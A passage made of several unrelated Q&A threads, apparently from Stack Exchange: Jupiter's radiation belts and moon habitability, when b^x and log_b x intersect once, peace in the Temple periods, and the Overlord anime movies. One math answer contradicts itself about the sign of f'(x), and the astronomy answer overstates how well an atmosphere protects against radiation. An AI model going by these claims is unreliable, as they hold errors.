In conclusion, if a super-Jovian planet had a very slow rotational speed depending on it's formation scenarios, the radiation belts would be milder, leading to habitability.

Thank you, Hope it helps you!
Comment: I would argue that Jupiter's mass plays a key role in its magnetic field, because Jupiter's huge mass creates the pressures necessary to develop the ocean of metallic hydrogen that's largely responsible for generating the field. Spinning fast doesn't do anything if you don't have a huge amount of conductive material to spin.
Answer: Jupiter's magnetic field is dangerous only in the radiation belts, the parts of the magnetosphere where charged particles are concentrated.  Obviously the parts of the magnetosphere where charged particles are not concentrated wouldn't have any higher density of charged particles than the average volume of interplanetary space at the distance of Jupiter from the Sun.  Maybe less if the radiation belts gather all the charged particles.
So a space probe or a manned spaceship could maneuver though the magnetosphere of Jupiter to avoid the radiation belts, and/or have some sort of shielding against charged particles necessary for the long voyage from Earth to Jupiter.
If you are asking about the potential habitability of a large moon of Jupiter or some other gas giant planet, that would depend on  a lot of factors.
If the moon orbits outside of the magnetosphere of Jupiter, it will not be protected from charged particles in the solar wind and in cosmic rays by the magnetosphere, anymore than any other object which orbits the Sun at Jupiter's distance from the Sun but outside of Jupiter's magnetosphere.
If the moon orbits inside Jupiter's magnetosphere and also inside one of Jupiter's radiation belts, it will suffer from a higher intensity of charged particles than in interplanetary space.
If the moon orbits inside Jupiter's magnetosphere but not inside any radiation belt, it should be impacted by far fewer charged particles than it would be impacted by interplanetary space.
Location, location, location.  The location of a moon's orbit in the magnetosphere of a giant planet is certainly a significant factor in its habitability.
Scientists define a potentially habitable world for liquid water using life in general as one which has bodies of liquid water on its surface.  Habitability for humans requires more specific and restricted conditions and is a subcategory of habitability for liquid water using life in general.
Without an atmosphere, water on the surface of of world will boil away into water vapor, so a reasonably dense atmosphere is necessary for liquid water and for potential habitability.
A moon potentially habitable for liquid water using life would have to have a significant atmosphere, and so the atmosphere would protect life on the surface from charged particles.  Of course the charged particles would gradually strip away the atmosphere of that moon.
The planet Venus has no magnetic field.  Venus is only 0.72 AU from the Sun, while Jupiter is 5.2 AU from the Sun, 7.222 times as far, so the solar wind at Venus is about 52.16 times as strong at Venus as at Jupiter.  But Venus still retains an atmosphere many times denser than Earth's after billions of years of the solar wind knocking away atmospheric particles.
So a hypothetical Earth or even Venus sized moon of a giant planet in another star system should have no problem with life being harmed by radiation, even if it orbits in a radiation belt of its planet.
And such a large moon might possibly have its own strong magnetic field to protect it from charged particles.
I note that there are believed to be global oceans under many kilometers of ice in many of the larger objects in the outer solar system.
https://en.wikipedia.org/wiki/List_of_largest_lakes_and_seas_in_the_Solar_System
And it is speculated that that there could be life in those global oceans, and if so it would be protected from radiation by many kilometers of ice.
And you might be interested in the questions about habitable moons in the Worldbuilding Stack Exchange.
And you might be interested in:
https://iopscience.iop.org/article/10.1088/2041-8205/776/2/L33/meta


Solve for values of b>1, such that $b^x$ and $\log_b x$ intersect only once.

Question: Thinking about this problem, you would have the f(x)= $b^x$ and its inverse touching each other once before diverging away from each other. So I'm thinking this means $x=y=$ $b^x$= $\log_b x$ . Not sure where to proceed from here...
Comment: Once you know the answer is $\sqrt[e]{e}$ it's fairly straightforward to show it works - but I'm afraid I found that by trial and error and I'm not sure how to directly show that's the value you want.
Answer: Adding to @Dr Zafar Ahmed's answer, A simpler approach is, if $b>1$ and $b^x = \log_b(x)$, we automatically have $b^x = \log_b(x) = x$. From the first and the last bit, we get $b = x^{1/x}$ (It is crucial here that b>1. See if you can think why).
The Graph of x^(1/x) looks like this. A bit of basic calculus tells us that the function reaches its maximum at $e^{1/e}$. But notice also, that the function is one-one at that exact point only.
So, given any "$y$" value, the function always takes 2 $x$ values. So, this directly means that in our case, we obtain a unique $b$ only when $b = e^{1/e} \sim 1.444667861$.
Answer: Number of real roots of
$$b^x=\log_b x, b>1, x>0~~~~(1)$$
$$f(x)=b^x-\log_b x \implies f(0)= +\infty,~ f(\infty)= +\infty.$$ So $f(x)=0$ will have no real roots or even number of real roots or one root (two coincident roots) critically if $b=b_0$ such that $f(x_0)=0$, when ${b_0}^x=\frac{1}{x_0}$ (when $y=b^x$ touches $y=\log_b x$).
Next $$f'(x)=b^{x} \ln b- \frac{1}{x} \ln b>0 ~\text{for}~ b>1, x>0.$$
This means $f'(x)$ will have atmost one real root and this inturn will mean that $f(x)=0$ will have atmost two real roots.
For exampole for $b=\sqrt{2}$, $b^x=\log_b x$ has two roots $x=2,4$.
Eq.(1) can have exactly one root only when $y=b^x$ touches $y=\log_b x$ at $x=x_0$, when $b=b_0.$
such that ${b_0}^x=\frac{1}{x_0}$.
Finlly Eq. (1) will have one real root if $b=b_0$, no real root if $b>b_0$ and two reak roots if $1 <b <b_0$. the value of $b_0$ turns out to be a little more than $\sqrt{2}$, namely $b_0=1.444667861009766.$ See the Fig. below for the critical stuation when the curves touch at $x=e$. $y=b^x$ is blue, $y=\log_b x$ is read and $b=b_0$
[


Was there peace during the times of the first and second beis hamikdash

Question: During the times of the beis mikdash the nations of the world would bring peace offerings. Was there peace during those times throughout out the nations?
Answer: During that time individual non-Jews could bring offerings, but I'm not aware of any nations bringing offerings regularly. As the book of Kings makes clear, there were many wars during the First Temple period. And there were many wars during the Second Temple (all of Alexander the Great, Hannukah, etc.) Peace offerings do not guarantee peace, they are called that because a portion is given to all parties (G-d "gets" the parts burned on the altar, the priests get a portion, and the bringer of the sacrifice gets the rest to eat with others.)


Which episodes do the Overlord movies cover?

Question: If I'm correct the Overlord movies are just to recap certain parts of the actual series. Which episodes do the movies cover?
Comment: It's the first season cut together as two movies. There are new scenes, but they don't add anything and are instead distracting sometimes. It's better to just watch the first season instead of these movies.
Answer: Both movies together cover basically all 13 episodes of the first season.
Although certain scenes are skipped I don't think that there is a single episode completely missing in the movies.
If I remember correctly episode 10 is the one which is missing the most and is only shown in form of a flashback.
Comment: Oh thank you. Does the second movie cover the second season then or do both movies combined cover the first season?
Comment: @Jackarlston both movies together cover the first season.